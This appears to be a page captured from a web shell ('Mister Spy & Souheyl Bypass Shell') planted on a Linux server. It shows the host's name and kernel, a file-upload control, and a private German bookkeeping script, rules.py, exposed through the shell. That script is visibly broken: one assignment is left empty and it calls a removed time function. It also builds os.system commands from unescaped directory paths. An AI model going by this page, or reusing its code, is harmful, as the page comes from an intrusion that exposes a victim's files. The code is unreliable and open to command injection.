Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /home/cgabriel/20_dev/12_procpy/fibu/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //home/cgabriel/20_dev/12_procpy/fibu/rules.py

#  coding:  utf8

import os,sys,re,glob,time,sqlite3,hashlib,time,base64
import procpy
import procpy.fibu

#******************************************************************************

class Rules (object):

    def __init__ (self,dbh):
    
        self.ktofile = 




        dbh.row_factory = sqlite3.Row
        cursor          = dbh.cursor()
        self.pythoncall = "python3"
            
        cursor.execute("create table if not exists buchungen " +
                       "(DATUM,BETRAG,KTOA,KTOB,REMARK,ID default '')")

        try:
            cursor.execute("create index DATUM_IDX  on buchungen (DATUM)"   )
            cursor.execute("create index KTOA_IDX   on buchungen (KTOA)"    )
            cursor.execute("create index KTOB_IDX   on buchungen (KTOB)"    )
        except Exception as e:
            pass
            
        self.dbh = dbh

    def mark (self,remark=""):
    
        t = time.clock()
        if 't0' in vars(self):
            print ( ("%9.2f" % ((t-self.t0)*1000)) + " ms for:  " + remark )
        self.t0 = t

    def sync (self,ktodirs):

        ktolist = []           #  das wird die Liste mit allen Konto-Objekten
        
        number_of_rounds      = 0

        for dir in ktodirs:    #  Erste Runde: durch alle angegebenen Konto-Directories gehen

            kto = procpy.fibu.kto.Kto()        #  jeweils ein Konto-Objekt daraus machen
            kto.find_ukto_and_interval(dir)    #  aus dem Pfad die Konto-ID und das Gueltigkeitsintervall herauslesen
            
            ktorule = glob.glob(dir+"/rule.py")
            print (ktorule)
            if ktorule:
                os.system(self.pythoncall + " " + ktorule[0] + " " + str(number_of_rounds) )
            
            ktofile = glob.glob(dir+"/*.kto")  #  jetzt den jeweiligen Kontotext einlesen
            if len(ktofile) == 1:              #  es darf nur genau ein kto-File im Konto-Verzeichnis geben
                ktotext = open(ktofile[0]).read()
                kto.parse_ktotext(ktotext)     #  wenn das so ist, den Kontotext ins Konto-Objekt einlesen
            elif len(ktofile) == 0:             
                continue
            else:                              #  im Fehlerfall mit einer Fehlermeldung Funktion beenden
                return("ERROR: ktofile in + " + dir + " is ambiguous")
                
            kto.file = ktofile[0]
            kto.dir  = dir
            print (kto.file)
                
            kto.delete_from_db(self.dbh)   #   Wenn schon was von dem Konto in der Datenbank gestanden war, die
                                           #   entsprechenden Buchungen loeschen
            kto.import_to_db(self.dbh)     #   Dann den Konto-Objekt-Inhalt in die Datenbank schreiben

            ktolist.append(kto)            #   Das Konto an die Liste mit den Konto-Objekten anfuegen

        number_of_synced_ktos = 0    #  Zaehler fuer die Anzahl der schon synchronisierten Konten
        actual_konto          = 0    #  Nummer des aktuellen Kontos in der ktolist


        while (0 == 0):   #   diese Schleife so oft wiederholen, bis fuer alle Konten der Kontotext stabil bleibt
            
            if number_of_synced_ktos == len(ktolist):   #  alle Konten sind synchronisiert, Schleife beenden
                break

            if actual_konto == 0:
                number_of_rounds = number_of_rounds + 1
                print ("ROUND " + str(number_of_rounds))
                
            kto = ktolist[actual_konto]
            actual_konto = (actual_konto+1) % len(ktolist)

            kto.ktotext0 = kto.ktotext
            kto.export_from_db(self.dbh)       #   Kontoinhalt aus der Datenbank auslesen
            kto.write_ktotext(0.00)            #   Kontotext erzeugen

            if kto.ktotext0 == kto.ktotext:
                number_of_synced_ktos = number_of_synced_ktos + 1
                continue

            number_of_synced_ktos = 0
            print ("    ....process " + kto.ukto)
            kto.delete_from_db(self.dbh)
            kto.import_to_db(self.dbh)
            

        for kto in ktolist:
        
            open(kto.file + "1","w").write(kto.ktotext)
                

    

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net